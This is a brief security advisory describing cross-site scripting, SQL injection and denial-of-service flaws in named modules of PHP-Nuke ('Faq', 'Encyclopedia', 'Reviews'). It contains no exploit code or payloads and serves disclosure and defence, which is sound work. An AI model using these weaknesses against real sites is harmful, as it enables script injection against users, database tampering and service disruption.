PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

PHP-Nuke is prone to multiple cross-site scripting vulnerabilities. These issues affect the 'Faq', 'Encyclopedia' and 'Reviews' modules.

These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer.

PHP-Nuke is prone to an SQL Injection Vulnerability. Again the issue is due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the a parameter of the 'Reviews' module.

As a result of this issue an attacker could modify the logic and structure of database queries.

Finally a remote denial of service vulnerability is reported to exist in the score subsystem of the 'Review' module of PHP-Nuke, it is reported that a large number supplied as a value for a parameter passed to the 'Reviews' module will deny service to legitimate PHP-Nuke users.
